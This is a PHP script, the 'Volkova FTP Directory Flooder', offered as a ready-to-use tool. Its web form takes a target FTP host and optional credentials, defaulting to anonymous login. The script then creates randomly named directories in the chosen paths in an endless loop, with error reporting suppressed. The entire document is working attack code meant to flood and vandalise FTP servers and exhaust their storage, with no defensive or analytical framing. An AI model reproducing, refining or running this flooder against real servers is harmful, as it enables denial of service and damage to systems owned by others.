PHP FTP Flooder

<?php
/*
*    +--------------------------------------------------------------+
*    | Volkova FTP Directory Flooder                                |
*    +--------------------------------------------------------------+
*    |                                                              |
*    | Author: Ryan                                                 |
*    | Version: 0.02                                                |
*    |                                                              |
*    |                                                              |
*    |                                                              |
*    +--------------------------------------------------------------+
*/

error_reporting(0);

class flood {
    function genRandom() {
        $length = rand(1, 45);
        $validCharacters = "abcdefghijklmnopqrstuxyvwz£$%^&()-_+={}[];@'#~,.`¬ABCDEFGHIJKLMNOPQRSTUXYVWZ0123456789";
        $validCharNumber = strlen($validCharacters);
        $result = "";
        for ($i = 0; $i < $length; $i++) {
            $index = mt_rand(0, $validCharNumber - 1);
            $result .= $validCharacters[$index];
        }
        return $result;
    }

    function foo() {
        if ( $_POST ) {
            return $this->candf();
        } else {
            print <<<FORM
                <form action="{$_SERVER['PHP_SELF']}" method="post">
                    <label for="host">Host:</label><br />
                    <input name="host" id="host" type="text" maxlength="150" />
                    <div class="clear"></div>
                    Leave Username & Password blank for anonymous login. <br />
                    <label for="username">Username:</label><br />
                    <input name="username" id="username" type="text" maxlength="150" />
                    <div class="clear"></div>
                    <label for="password">Password:</label><br />
                    <input name="password" id="password" type="text" maxlength="150" />
                    <div class="clear"></div>
                    <input type="checkbox" name="rootdir" value="1"> Root Directory<br>
                    <div class="clear"></div>
                    <label for="directory">Directories to flood (Seperated by commas):</label><br />
                    <input name="dir" id="dir" type="text" maxlength="150" />
                    <div class="clear"></div>
                    <input type="submit" value="Go!" />
                </form>
FORM;
        }
    }
    function candf() {
        $host = $_POST['host'];
        if ( $_POST['username'] ) {
            $user = $_POST['username'];
        } else {
            $user = 'anonymous';
        }
        if ( $_POST['password'] ) {
            $pass = $_POST['password'];
        } else {
            $pass = 'anonymous';
        }

        $conn = ftp_connect("$host") or die("Could not connect to host");

        ftp_login($conn,$user,$pass) or die("Could not login");

        while (true) {
            $rand = $this->genRandom();
            $string = $_POST['dir'];
            $string = str_replace(' ', '', $string);

            $directories = explode(',', $string);

            if ( isset($_POST['rootdir']) ) {
                echo ftp_mkdir($conn,"/$rand");
            }

            foreach($directories as $value) {
                echo ftp_mkdir($conn,"$value/$rand");
            }
        }

        ftp_close($conn);
    }
}

$flood = new flood();
$flood->foo();

?>